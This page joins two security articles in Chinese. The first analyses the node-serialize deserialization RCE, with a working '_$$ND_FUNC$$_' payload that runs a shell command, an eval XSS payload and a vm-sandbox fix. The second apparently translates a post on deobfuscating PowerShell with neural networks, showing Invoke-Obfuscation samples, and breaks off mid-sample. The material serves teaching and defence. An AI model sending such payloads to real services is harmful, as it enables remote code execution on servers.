# Node.js 反序列化远程代码执行分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近关注到一些Node.js的漏洞，比较感兴趣的一个反序列化导致远程代码执行的漏洞，个人开发Node.js也有不短时间，决定尝试复现分析它并给出一些开发建议，遂有此文。
## 漏洞复现
我使用 `0.0.4` 版本的`node-serialize`进行复现。
首先使用Node.js 自带的 `child_process` 模块的 `exec()` 函数构造命令。`child_process.exec()`
可以衍生一个shell并在shell中执行命令。
const child_process = require('child_process');
child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
运行上面代码可以得到如下结果：
确定命令可以执行后，构造一个对象，将这个函数放入对象，使用 `node-serialize` 序列化这个对象。
const serialize = require('node-serialize');
const y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
}
}
console.log("Serialized: n" + serialize.serialize(y));
运行上面代码得到如下结果：
但这只是一个包含可执行函数的对象，并不能执行。尝试将序列化的函数加上括号使其自执行，然后再反序列化对象。
const serialize = require('node-serialize');
const payload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
运行代码可见执行成功：
## 漏洞分析
问题在 `node-serialize/lib/serialize.js` 中第75行：
`unserialize` 函数直接使用 `eval()` 反序列化JavaScript对象，在JavaScript中，`eval()`
可以计算一个表达式并且执行它。因此在没有任何保护的情况下，传入的序列化函数对象就被执行了。
## Eval is evil
在这里想针对 `eval()` 多说几句，在研究XSS漏洞的时候，一定见过如下例子：
var getarg = function(){
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
我们可以构造这样的payload形成XSS：
http://domain.com/xxx.html?key=aaa";alert(1);//
那么在Node.js，其实什么都没有变。
Node.js 是一个基于 Chrome V8 引擎的 JavaScript
运行环境。JavaScript中的很多函数在Node.js中同样适用。Node.js又是一个运行在服务端的JavaScript，在这样的环境中使用
`eval()` 就会带来更严重的问题。
同样的问题也会出现在 `SetTimeout()` 和 `SetInterval()`
这两个函数中，他们的第一个参数可以是字符串也可以是函数。当使用字符串传入恶意内容，到了相应的时间也可以被执行。幸运的是，在Node.js中第一个参数必须是函数。
## 如何避免
如果你尝试过复现这个漏洞，在执行 `npm install node-serialize` 时会出现这样的提示：
按照提示执行命令 `npm audit` 可以得到如下详细信息：
因此在我们使用 `npm install` 的时候留意一下提示信息是很有必要的。
搜索npm网站，我发现了另一个1000+ star的序列化包，这个包直接没有提供反序列化方法，而是发现了这么一段文字：
好吧，它成功的把隐患留给了你。那么必须使用 `eval()` 的时候需要注意什么呢？
* **不要将用户输入的不可信数据直接传入其中**
这样的数据包括但不限于用户表单、URL参数、Cookies、Header等。
* **使用`VM` 中的沙箱执行不可信代码**
Node.js原生提供一个沙箱，可以使执行环境和当前上下文分离。有关 `VM` 的具体使用方法可参考[Node.js v10.9.0
Documentation – VM](https://nodejs.org/api/vm.html)。
在这里我将 `serialize.js` 的 `unserialize` 函数抽出，精简一下并使用沙箱实现相同逻辑：
const vm = require('vm');
function unserialize (obj, originObj) {
const FUNCFLAG = '_$$ND_FUNC$$_';
let isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
const circularTasks = [];
for(const key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
let result={};
const sandbox = { result,FUNCFLAG,obj,key };
vm.createContext(sandbox);
const code = 'result =eval("(" + obj[key].substring(FUNCFLAG.length) + ")")';
vm.runInContext(code, sandbox);
obj[key] = sandbox.result;
}
}
}
}
if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};
实现后，使用正常payload和恶意payload分别调用：
const payload ='{"obj1":1}'
const evilPayload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';
const result = unserialize(payload);
console.log(result)
const evilResult = unserialize(evilPayload);
console.log(evilResult)
这次使用 `evilPayload` 调用 `unserialize` 报错，说明沙箱生效。
## 参考
1. [Exploiting Node.js deserialization bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
2. [Node.js v10.9.0 Documentation – VM](https://nodejs.org/api/vm.html) | 社区文章 |
本文翻译自：
<https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube>
* * *
攻击者的混淆技术在不断进步，同时防护者也在不断地开发和应用新的反混淆技术。还有一些机器学习的方法被应用到PowerShell反混淆中。下面先看一些攻击者常用的混淆技术。
# PowerShell混淆
PowerShell的功能非常强大，可以从命令行自动执行任务和进行配置管理。PowerShell同时是一个非常高效的工具，很容易导入模块、访问核心API和远程命令，这使得许多攻击者都用它来进行无文件攻击。
对分析师和防护者来说，PowerShell命令会留下日志，而script文件可以获取进行分析。因此可以进行事后取证来确定攻击者是否成功。但攻击者会选择对代码进行混淆和编码来减缓和阻止对恶意代码的分析。
每种语言都有自己的方法，许多是不共享的，对PowerShell来说通用的是：
一些PowerShell变量和名称是区分大小写的：
连接后，可能并没有这样的词：
将变量插入命令申明中，这样可以混淆有些字符串组件：
Backticks可以用作行连续符，有时用作特殊字符的标记。但如果在变量的中间使用backtick，会继续该行到同一行的写一个字符。
将字符串转化为命令操作：
Whitespace与有些操作是不相关的，加入是为了使代码可读性变差。
这是用表示ASCII代码的信息来替换字符。
还有许多其他复杂的混淆方法，像变量创建和替换。这也是混淆器定义随机的变量并将其插入到字符串中间的原因。
格式处理器: <https://ss64.com/ps/syntax-f-operator.html>
Input: {1}PSScriptRoot{0}..{0}PSVersionCompare.psd1 -F ‘\’,’$’
Output: $PSScriptRoot\..\PSVersionCompare.psd1
替换函数: <https://ss64.com/ps/replace.html>
Input: (pZyPSScriptRoot\Add-LTUser.ps1).replace('pZy',’$’)
Output: $PSScriptRoot\Add-LTUser.ps1
使用`Invoke-Obfuscation`可以应用多重混淆，示例如下：
开始前：
$packageName = 'kvrt'
$url = 'http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe'
$checksum = '8f1de79beb31f1dbb8b83d14951d71d41bc10668d875531684143b04e271c362'
$checksumType = 'sha256'
$toolsPath = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$installFile = Join-Path $toolsPath "kvrt.exe"
try {
Get-ChocolateyWebFile -PackageName "$packageName" `
-FileFullPath "$installFile" `
-Url "$url" `
-Checksum "$checksum" `
-ChecksumType "$checksumType"
# create empty sidecars so shimgen only creates one shim
Set-Content -Path ("$installFile.ignore") `
-Value $null
# create batch to start executable
$batchStart = Join-Path $toolsPath "kvrt.bat"
'start %~dp0\kvrt.exe -accepteula' | Out-File -FilePath $batchStart -Encoding ASCII
Install-BinFile "kvrt" "$batchStart"
} catch {
throw $_.Exception
}
原始Powershell脚本示例
混淆后：
${P`ACka`Ge`NAMe} = ("{0}{1}" -f 'kv','rt')
${U`RL} = ("{4}{11}{0}{6}{10}{3}{7}{2}{13}{15}{1}{16}{5}{8}{9}{14}{12}"-f'persky-','il','com/dev','bs','http:/','/','l','.','KVR','T/late','a','/devbuilds.kas','T.exe','b','st/full/KVR','u','ds')
${Check`s`UM} = ("{15}{16}{10}{3}{11}{6}{14}{9}{4}{5}{13}{1}{8}{7}{12}{2}{0}"-f 'c362','84143b0','71','79beb31f1d','1','bc','495','e','4','d71d4','e','bb8b83d1','2','10668d8755316','1','8f','1d')
${C`HE`cksu`m`TYpe} = ("{1}{0}" -f'56','sha2')
${T`Ool`s`PATH} = "$(Split-Path -parent $MyInvocation.MyCommand.Definition) "
${instALL`F`i`Le} = .("{0}{2}{1}{3}" -f'J','-Pa','oin','th') ${tOO`lSP`ATh} ("{0}{1}{2}" -f 'k','vrt.e','xe')
try {
&("{2}{5}{0}{4}{3}{1}" -f'colateyWe','e','Ge','Fil','b','t-Cho') -PackageName "$packageName" `
-FileFullPath "$installFile" `
-Url "$url" `
-Checksum "$checksum" `
-ChecksumType "$checksumType"
&("{2}{3}{0}{1}"-f '-','Content','Se','t') -Path ("$installFile.ignore") `
-Value ${nu`Ll}
${B`At`C`HSTart} = &("{0}{2}{1}{3}"-f 'J','i','o','n-Path') ${TOol`s`patH} ("{0}{2}{1}" -f 'k','.bat','vrt')
((("{1}{2}{3}{4}{5}{7}{0}{6}"-f'ce','start ','%','~dp0{0','}k','vrt','pteula','.exe -ac'))-f [CHar]92) | .("{0}{1}{2}"-f 'Out-','Fi','le') -FilePath ${BA`T`c`hstARt} -Encoding ("{0}{1}"-f 'AS','CII')
&("{1}{0}{3}{2}"-f'l-','Instal','nFile','Bi') ("{0}{1}"-f 'k','vrt') "$batchStart"
} catch {
throw ${_}."E`X`CEPtiOn"
}
用Invoke-Obfuscation混淆后的Powershell Script
# 编码技术
文本可以通过编码技术转变成其他字符映射方案来进一步混淆。下面有两种方案：ASCII码到十六进制和ASCII码到十进制。比如，`A`映射到十六进制的`41`和十进制的`65`。
对PowerShell中的脚本进行完全编码需要加入一些额外的逻辑，这样翻译器才能将其解码为文本。下面是一个脚本编码为十进制表示的示例：
.((gET-varIAble '*MDR*').nAME[3,11,2]-JoiN'')([chAR[]] ( 36,112, 97, 99,107, 97 ,103, 101 , 78 , 97 ,109, 101 ,32 ,61 ,32 , 39 , 107 , 118,114 , 116 ,39 , 10 , 36 ,117 ,114 ,108 , 32 ,61 , 32,39,104 , 116, 116, 112,58,47 , 47 , 100 , 101 ,118, 98, 117 , 105, 108, 100 , 115,46, 107 , 97 , 115,112, 101,114,115, 107, 121,45,108,97, 98 , 115, 46 , 99 , 111 , 109 , 47, 100 ,101, 118 , 98 ,117,105, 108 , 100,115,47 ,75 , 86 ,82, 84,47 ,108 , 97, 116 ,101, 115 ,116,47 ,102 ,117, 108,108,47, 75 , 86,82 , 84 ,46, 101 ,120 ,101, 39, 10 , 36,99 , 104,101 ,99 , 107 ,115,117 , 109, 32 ,61,32, 39 , 56, 102, 49,100 ,101, 55,57 , 98, 101 , 98,51, 49 , 102,49, 100, 98 ,98,56,98 , 56,51,100, 49, 52, 57, 53 ,49,100,55, 49,100,52 , 49 , 98,99,49 ,48 , 54, 54, 56 , 100 , 56, 55, 53 ,53 , 51,49 , 54 , 56 , 52,49, 52 ,51 ,98, 48 , 52 , 101 ,50 , 55 , 49, 99 , 51 ,54, 50, 39 , 10 ,36, 99,104 , 101, 99 ,107, 115 ,117 , 109,84,121, 112, 101,32, 61,32 ,39, 115 , 104 , 97 , 50, 53,54 ,39 , 10 ,36 , 116 ,111 ,111 , 108 , 115, 80 ,97,116 ,104, 32, 61 , 32 ,34, 36,40 , 83 , 112 ,108, 105 , 116 , 45 , 80,97, 116 ,104, 32,45 ,112, 97 , 114 , 101, 110 ,116 ,32 , 36, 77 ,121 ,73 , 110, 118 ,111, 99 ,97, 116 , 105 ,111,110, 46, 77, 121 ,67 , 111,109, 109, 97, 110 , 100 ,46 , 68, 101 ,102,105 ,110, 105 , 116 , 105, 111, 110,41,34 ,10 , 36,105,110 , 115 , 116 , 97 ,108 ,108, 70 , 105, 108 ,101,32, 61 ,32, 74,111 , 105 ,110 ,45 , 80 ,97, 116, 104, 32 ,36, 116 , 111,111,108, 115 , 80 , 97,116,104,32 ,34,107, 118,114, 116 , 46,101,120,101, 34, 10, 116 , 114 , 121, 32,123 ,10 , 32,32, 71 ,101 , 116, 45, 67,104, 111 , 99 , 111 , 108,97, 116,101 , 121, 87, 101, 98, 70,105, 108,101 , 32 ,45 ,80, 97, 99,107,97, 103 , 101,78,97, 109, 101 , 32,34, 36, 112,97 ,99, 107, 97,103 , 101 , 78 , 97 , 109 ,101,34 , 32 , 96,10,32, 32,32 ,32 ,32 ,32,32,32 , 32, 32,32, 32 ,32,32, 32,32 , 32 ,32, 32 ,32 ,32, 32,32,32, 45,70,105 ,108 , 101, 70,117 , 108 ,108 ,80,97,116 ,104, 32, 34, 36,105 ,110 , 115 , 116 , 97,108, 108 , 70 ,105 ,108, 101 ,34, 32,96 ,10 , 32, 32,32 , 32 ,32,32,32 ,32 , 32,32, 32 ,32,32 , 32 , 32,32, 32,32 , 32, 32 ,32 ,32 , 32 ,32 ,45,85 , 114, 108, 32 , 34,36, 117, 114 , 108,34 ,32 ,96,10 , 32,32,32,32,32 , 32 , 32 ,32 ,32 ,32 ,32 ,32,32 , 32, 32,32 , 32,32, 32 ,32 ,32, 32 ,32 , 32,45,67 ,104 ,101, 99 , 107 , 115 , 117, 109 ,32 , 34 , 36 ,99,104,101, 99 , 107,115, 117 , 109 ,34,32, 96,10,32,32, 32 ,32, 32,32 ,32 , 32 , 32 ,32 , 32 , 32,32 , 32, 32, 32 ,32 ,32 , 32, 32 ,32, 32,32, 32,45,67,104 , 101 , 99 , 107,115 ,117 , 109 , 84 , 121 , 112, 101, 32 ,34,36, 99, 104,101, 99,107,115 , 117 , 109, 84, 121,112, 101, 34 , 10, 10, 32 ,32 , 35 , 32, 99 ,114 ,101 , 97 ,116 ,101 , 32 ,101,109, 112,116 , 121,32, 115 ,105 ,100 , 101 ,99 ,97, 114 ,115 ,32 ,115 ,111 ,32, 115 ,104 ,105 ,109,103 , 101 , 110 ,32,111 ,110,108 , 121,32,99 ,114 ,101 ,97 , 116 , 101, 115 , 32, 111 ,110 , 101 , 32,115 , 104 ,105 ,109, 10,32 , 32,83 , 101 , 116 , 45 ,67,111, 110 ,116 ,101,110 , 116, 32 ,45 ,80 , 97, 116 ,104, 32, 40 ,34,36,105,110, 115,116,97, 108,108, 70 ,105, 108,101 , 46 , 105 ,103, 110,111 , 114 , 101 , 34 ,41, 32, 96 , 10 , 32,32 , 32, 32,32 , 32,32 , 32, 32 ,32, 32,32,32 , 32 , 45,86,97, 108 ,117 ,101 , 32 , 36 , 110 , 117 , 108, 108 , 10, 10 ,32, 32, 35,32 , 99 , 114,101 , 97 ,116 ,101 , 32 , 98 ,97 ,116 , 99,104 , 32 ,116 , 111 ,32,115, 116, 97,114, 116, 32 , 101, 120 , 101 ,99 , 117 , 116, 97 ,98 , 108 ,101, 10,32 , 32 , 36 ,98 ,97, 116 , 99 , 104, 83,116, 97 ,114 , 116 ,32,61, 32 ,74,111,105, 110, 45, 80, 97, 116 , 104,32, 36 , 116 , 111,111,108,115, 80,97 , 116,104,32 , 34 ,107 , 118, 114,116 , 46 , 98 ,97 , 116 , 34 ,10,32, 32 , 39,115 ,116,97 , 114, 116,32,37, 126,100, 112, 48 ,92, 107,118 ,114, 116, 46 , 101, 120,101 , 32 , 45 ,97, 99, 99 ,101 , 112 , 116 ,101 ,117 ,108, 97 ,39 , 32,124, 32 ,79 , 117, 116, 45,70, 105 , 108, 101 , 32 , 45, 70 ,105 ,108 ,101 ,80, 97 ,116,104, 32 ,36,98, 97, 116,99 ,104, 83 ,116, 97 ,114 , 116 ,32, 45 , 69, 110 , 99 ,111 , 100 , 105,110, 103 ,32 ,65 , 83,67, 73,73, 10 ,32, 32 ,73,110, 115, 116 ,97 , 108,108 , 45 , 66,105 , 110,70,105, 108 , 101 , 32,34 , 107,118 ,114, 116 , 34 , 32 ,34,36, 98 , 97 , 116, 99 , 104, 83 , 116 ,97, 114,116 ,34,10, 125 ,32 ,99,97 , 116,99,104 ,32, 123,10 , 32 , 32 ,116 , 104, 114 , 111 , 119 ,32 , 36 , 95, 46, 69 ,120 , 99, 101 ,112 ,116 ,105 ,111 , 110 , 10,125 )-jOIN'')
用Invoke-Obfuscation编码后的Powershell Script
# 如何反混淆
为了解决这个问题，研究人员创建了一系列的操作来处理其中的问题。
首先，收集收集并构建分类器来确定样本是否被编码、混淆或是明文。因为样本可以既是混淆过的，又是编码过的，所以需要重用分类器来确保最后的产品是完整的。然后循环应用解码和反混淆逻辑，并且检查每次的输出以确定是否需要下一次操作。最后，用一种新的反混淆方法cleanup神经网络来修正简单逻辑无法处理的混淆后的特殊位。
图4: 反混淆逻辑流
# 任务
第一个任务是构建一个可以确定样本是否被编码、混淆或是明文的分类器。研究人员构建了一个机器学习分类器来自动化决策过程。
## 构建Status Classifier
构建和训练分类器的典型机器学习方法是：
1. 收集含有标签的样本（比如，十六进制编码、混淆、明文等）；
2. 对样本生成数字特征；
3. 用选择的算法进行训练。
图5: 分类器步骤
构建分类器最难的部分是获取样本和标签。对这一问题，有的解决方案是从文件共享服务或抓取的Github中下载样本。在有了大量PowerShell脚本样本之后，就可以生成混淆和编码的样本了。
下一步是对样本生成特征。文本对分类器来说有点复杂，因为经典机器学习方法是用来处理定义和生成样本的总结性数据和其他相关的特征的，比如：
- # of characters
- # of vowels
- Entropy
- # of ` marks
- # of numbers
但，这些特征的分类并不能表示字符之间的关系。
这里研究人员使用了LSTM神经网络。
LSTM（long-short term memory）网络是一种特殊的RNN（recurrent neural
network）。因为LSTM会获取之前状态的记忆，并与当前输出结合在一起来决定下一个状态。
图6: LSTM框图
用于管理的上层框架使初始化应用变得非常简单。
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20)
model = Sequential()
model.add(Embedding(num_encoder_tokens, embedding_vector_length, input_length=sample_len))
model.add(LSTM(100))
model.add(Dropout(0.2))
model.add(Dense(len(classes), activation='sigmoid'))
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])
print(model.summary())
model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=epochs, batch_size=64)
下面的十行代码可以用输入数据创建一个简单的网络并训练该网络。
## 解码
图7: 通过Invoke-Obfuscation编码的Powershell Script
如果知道编码映射和应用该逻辑的时间，解码就非常简单了。这也正是PowerShell翻译器的工作，重新应用也是一种有效的方法。
研究人员在这里选择正则表达式来进行模式匹配：
ascii_char_reg = r'([0-9]{1,3})[, \)]+'
ascii_chars = re.findall(ascii_char_reg, file_text)
chars = [chr(int(ac)) for ac in ascii_chars]
file_text = ''.join(chars)
## 反混淆
反混淆的大部分可以通过简单逻辑来处理：连接字符串，移除`’s`，替换变量等。
其中一些转化非常简单：
def remove_ticks(line):
line = line[:-1].replace('`', '') + line[-1]
return line
def splatting(line):
splat_reg = r"""(&\( *['"]{1}(.+)?['"]{1} *?\))"""
matches = re.findall(splat_reg, line)
for match in matches:
line = line.replace(match[0], match[1])
return line
def string_by_assign(line):
match_reg = r'(?:(\[[sS][tT][rR][iI][nN][gG]\])([\[\]A-Za-z0-9]+)[\)\,\.]+)'
matches = re.findall(match_reg, line)
for match in matches:
replace_str = match[0] + match[1]
line = line.replace(replace_str, "'" + match[1] + "'")
return line
一些数据是比较复杂的。为了对基于`-f`的字符串进行重新排序，格式处理器：
1. 找出-f或-F；
2. 找出所有-f之前的{[0-9]+}类型的占位符
3. 找出所有-f之后的所有的字符串和有效的非字符串值；
4. 用值替换占位符
5. 在同一行进行多次循环
将这些反混淆技术结合起来，并顺序应用，就可以知道研究人员的代码工作效果如何了。
应用前：
param
(
[Parameter(MANdAtORy=${FA`L`SE})] ${dO`m`AiN} = ("{2}{1}{0}{3}" -f 'a','rtr','ai','n.com'),
[Parameter(MandatOrY=${tr`UE})] ${Sr`NUM`BER},
[Parameter(mAnDATORY=${F`AL`SE})] ${targET`p`Ath} = ("{10}{11}{1}{2}{9}{14}{3}{12}{5}{7}{4}{0}{8}{13}{6}" -f'=a','=Airtr','a','ir',',DC','a','C=com','n','i','n','OU=Disab','led,OU','tr','rtran,D',' Users,OU=A'),
[Parameter(ManDAtOrY=${T`RUe})] ${us`er}
)
if (&("{2}{1}{0}"-f'Path','est-','T') ${US`eR})
{
${USER`li`sT} = &("{0}{2}{3}{1}" -f'Ge','nt','t-','Conte') -Path ${u`SEr}
}
else
{
${usER`L`ISt} = ${Us`Er}
}
${c`oNT`AIneR} = ("{3}{11}{4}{8}{5}{0}{7}{10}{6}{2}{1}{9}" -f'ir','irtran,',',DC=a','OU','a',',OU=A','an','tran Users,OU=Air','bled','DC=com','tr','=Dis')
${D`eS`CrIP`TIon} = ('Term'+'ina'+'ted '+'per'+' '+"$SrNumber")
foreach (${uS`eR} in ${U`S`E`RList})
{
.("{2}{0}{1}" -f'et','-ADUser','S') -Identity ${Us`ER} -Server ${D`OM`AIN} -Enabled ${FA`LsE} -Description ${D`eSCrI`P`TION}
${UsE`RHan`dlE} = &("{2}{0}{1}"-f'U','ser','Get-AD') -Identity ${us`eR} -Server ${Do`M`AiN}
&("{3}{1}{2}{0}" -f't','je','c','Move-ADOb') -Identity ${uSe`Rh`AnD`Le} -Server ${doM`A`In} -TargetPath ${C`O`Nt`Ainer}
}
图8: 混淆的样本
应用后：
param
(
[Parameter(MANdAtORy=${FALSE})] ${dOmAiN} = "airtran.com",
[Parameter(MandatOrY=${trUE})] ${SrNUMBER},
[Parameter(mAnDATORY=${FALSE})] ${targETpAth} = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com",
[Parameter(ManDAtOrY=${TRUe})] ${user}
)
if ("Test-Path" ${USeR})
{
${USERlisT} = "Get-Content" -Path ${uSEr}
}
else
{
${usERLISt} = ${UsEr}
}
${coNTAIneR} = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com"
${DeSCrIPTIon} = ('Terminated per $SrNumber")
foreach (${uSeR} in ${USERList})
{
"Set-ADUser" -Identity ${UsER} -Server ${DOMAIN} -Enabled ${FALsE} -Description ${DeSCrIPTION}
${UsERHandlE} = "Get-ADUser" -Identity ${useR} -Server ${DoMAiN}
"Move-ADObject" -Identity ${uSeRhAnDLe} -Server ${doMAIn} -TargetPath ${CONtAiner}
}
图9: 部分反混淆的样本
部分反混淆得到的结果仍然有很多错误， 大多数的模型都是：
(MAndatoRy=${fAlSe})] ${dOMAiN}
这会让文本更难理解，但没有对PowerShell函数进行混淆。
## 逆向不可逆函数
研究人员使用神经网络来学习和记忆变量：
以`MOdULEDiRectORy`为例：
基于对英语和编程的理解，可以找出配置文件，可能包含以下：
ModuleDirectory
moduleDirectory
moduledirectory
为了模拟认知的过程，需要训练Seq2Seq网络。Seq2Seq表示序列到序列，是一种用于机器翻译的网络模型。
Seq2Seq用LSTM来创建编码网络来改变开始的文本，解码网络会使用编码的输出和解码器的内存。将这些结合起来可以一个字母一个字母进行分析并预测输出。研究人员尝试用该网络来翻译整行。因为Seq2Seq网络是基于输入字符和最后一个预测的输出字符来构建输出字符的，因此可以了解输入得出的结果。
输入：
变成：
然后：
最终生成：
为了解决错误的预测结果，研究人员对该问题进行了限制，并将`words`限制到每行来处理：
1. 找出obf和非obf文件中对应的单词；
2. 找出可能被混淆的变量和关键词；
3. 用obf单词作为输入，非obf单词作为期望输出；
4. 用之前的预测和新的输入数据预测下一个字符。
重新训练的网络得出的结果：
总的来说，运行的结果还是不错的：
# 结合在一起
研究人员将File Status Classifier、Decoder、Deobfuscator和Cleanup网络结合起来打包为一个函数并进行测试：
步骤如下：
图10: 反混淆逻辑流图
首先用一个没有混淆过的文件：
param
(
[Parameter(Mandatory=$false)] $Domain = 'airtran.com',
[Parameter(Mandatory=$true)] $SrNumber,
[Parameter(Mandatory=$false)] $TargetPath = 'OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com',
[Parameter(Mandatory=$true)] $User
)
if (Test-Path $User)
{
$UserList = Get-Content -Path $User
}
else
{
$UserList = $User
}
$Container = 'OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com'
$Description = "Terminated per $SrNumber"
foreach ($User in $UserList)
{
Set-ADUser -Identity $User -Server $Domain -Enabled $false -Description $Description
$UserHandle = Get-ADUser -Identity $User -Server $Domain
Move-ADObject -Identity $UserHandle -Server $Domain -TargetPath $Container
}
图11: 原始样本
用随机的技术来进行混淆：
param
(
[Parameter(MANdAtORy=${FA`L`SE})] ${dO`m`AiN} = ("{2}{1}{0}{3}" -f 'a','rtr','ai','n.com'),
[Parameter(MandatOrY=${tr`UE})] ${Sr`NUM`BER},
[Parameter(mAnDATORY=${F`AL`SE})] ${targET`p`Ath} = ("{10}{11}{1}{2}{9}{14}{3}{12}{5}{7}{4}{0}{8}{13}{6}" -f'=a','=Airtr','a','ir',',DC','a','C=com','n','i','n','OU=Disab','led,OU','tr','rtran,D',' Users,OU=A'),
[Parameter(ManDAtOrY=${T`RUe})] ${us`er}
)
if (&("{2}{1}{0}"-f'Path','est-','T') ${US`eR})
{
${USER`li`sT} = &("{0}{2}{3}{1}" -f'Ge','nt','t-','Conte') -Path ${u`SEr}
}
else
{
${usER`L`ISt} = ${Us`Er}
}
${c`oNT`AIneR} = ("{3}{11}{4}{8}{5}{0}{7}{10}{6}{2}{1}{9}" -f'ir','irtran,',',DC=a','OU','a',',OU=A','an','tran Users,OU=Air','bled','DC=com','tr','=Dis')
${D`eS`CrIP`TIon} = ('Term'+'ina'+'ted '+'per'+' '+"$SrNumber")
foreach (${uS`eR} in ${U`S`E`RList})
{
.("{2}{0}{1}" -f'et','-ADUser','S') -Identity ${Us`ER} -Server ${D`OM`AIN} -Enabled ${FA`LsE} -Description ${D`eSCrI`P`TION}
${UsE`RHan`dlE} = &("{2}{0}{1}"-f'U','ser','Get-AD') -Identity ${us`eR} -Server ${Do`M`AiN}
&("{3}{1}{2}{0}" -f't','je','c','Move-ADOb') -Identity ${uSe`Rh`AnD`Le} -Server ${doM`A`In} -TargetPath ${C`O`Nt`Ainer}
图12: 混淆的样本
然后进行编码：
InVoKe-eXPreSsION ( [STRInG]::join('' , (( 13,10,112 , 97 , 114 ,97 , 109 , 13,10 ,40,13,10,32, 32 ,32 ,32,91 ,80 ,97 ,114 ,97 , 109 , 101 ,116 ,101 ,114,40 , 77, 65, 110 , 100, 97 ,116,111,82, 121,61, 36,123 ,102 , 65 ,96, 108 ,96,83 , 101 , 125,41,93,32, 36 ,123, 100,79,77,96,65 ,96,105,78,125 , 32 ,61 ,32 , 40 ,34 ,123,51, 125,123 ,50,125 , 123,49, 125 , 123, 48,125 ,34 ,45,102,39 ,109, 39, 44 ,39, 97,110 ,46 ,99,111, 39,44 ,39 , 114,39,44, 39 ,97 , 105,114, 116 ,39,41, 44 ,13 , 10, 32, 32, 32, 32,91 , 80 ,97, 114 ,97,109 ,101,116 , 101, 114,40 ,77, 97,78,68 ,65, 84, 111 , 114, 89 , 61 , 36 ,123 ,116 ,82 ,96 , 85, 101 , 125 , 41 ,93 , 32 ,32, 36,123, 83 , 96 , 82 , 96 ,78 , 85 , 96 ,109, 66 ,101,114,125 ,44 , 13,10, 32,32 ,32,32 , 91,80 ,97 ,114,97 ,109 , 101,116, 101 , 114, 40 , 109, 97 ,110 , 100,97,84,79 , 114 ,121,61, 36 , 123 ,70, 65 ,108 , 96,115 ,69,125, 41 , 93 ,32 ,36,123 , 116,65 ,114, 96 ,71 ,69 , 96,84,96,112, 65 , 116 ,72, 125 ,32 , 61 ,32 , 40 , 34 , 123 , 48, 125, 123, 56 ,125 , 123 , 50 ,125 ,123 ,55 ,125,123 ,49 , 51 , 125 , 123,57 ,125,123, 52, 125, 123,51 ,125 ,123 , 49 ,50 ,125, 123 ,49, 49,125,123,49 , 48 ,125, 123 , 54 ,125 , 123 ,53, 125, 123 ,49 ,125,34, 32,45 , 102 , 32,39 ,79 , 85 ,39 , 44 ,39 ,68,67, 61, 99, 111, 109,39, 44 ,39,100,44, 79, 85, 39 , 44, 39 ,85 ,39, 44,39 , 115, 101,114 , 115 ,44 ,79 , 39,44, 39, 116 ,114 , 97, 110 , 44 , 39 , 44 ,39,105,114 , 39 , 44,39,61, 65 ,39, 44, 39, 61 , 68,105,115 , 97 ,98, 108 ,101, 39, 44 , 39,114 , 97,110 ,32, 85,39, 44 ,39 ,61, 97 ,39 , 44 , 39,65 , 105, 114 , 116 ,114,97, 110, 44 , 68 , 67 ,39 , 44 , 39, 61, 39 , 44,39, 105 , 114 ,116 ,39 ,41,44,13 ,10 ,32, 32,32 ,32 , 91 , 80 , 97 ,114,97,109,101 , 116, 101,114, 40,109,97, 78,100 , 97 , 84 , 111 , 82, 121 , 61 ,36, 123 ,84 ,96, 82,117 , 101 ,125,41, 93 , 32 , 32, 36 , 123,85,96, 115 ,69 ,82, 125 ,13, 10 ,41 ,13 ,10, 13 , 10,105, 102, 32 ,40 ,38 , 40,34 ,123 , 50, 125 ,123,49 , 125, 123, 48 , 125 ,34,32, 45 , 102 ,39,116 , 104, 39,44 ,39 ,80 ,97,39,44 ,39 ,84, 101,115, 116 ,45 , 39 , 41, 32 , 36 , 123, 85 ,83 ,96 ,69,114 , 125 ,41,13 ,10 , 123,13 , 10 ,32 , 32,32,32,36 , 123 ,85,96, 115,69 , 114 , 108, 96 ,105 , 83 , 116 ,125, 32 ,61 ,32 , 38, 40 , 34 ,123,50 , 125,123, 48 ,125, 123 , 49 ,125, 34 , 45 ,102 ,32, 39 , 101, 116, 45,67 ,111, 110 , 39 ,44,39 , 116 , 101, 110 ,116,39 , 44,39 , 71,39,41, 32 , 45,80 ,97, 116,104 , 32, 36 , 123,117,96,83 , 69 ,82, 125 , 13,10 , 125,13, 10 ,101 , 108 ,115 , 101 , 13 ,10 , 123,13 ,10 ,32,32 , 32 , 32, 36 , 123 , 117,96 ,115, 96 , 101 , 82 , 76 , 96, 105,115, 84 ,125,32 ,61,32, 36, 123,85 ,96 ,83, 101 ,114,125 , 13,10 , 125 , 13,10,13, 10, 36 , 123 , 99 ,79,96, 78 ,116,97 , 73,110 , 96 , 69 ,82, 125 , 32,61 , 32 , 40 ,34 ,123 ,51,125 , 123, 52 , 125, 123, 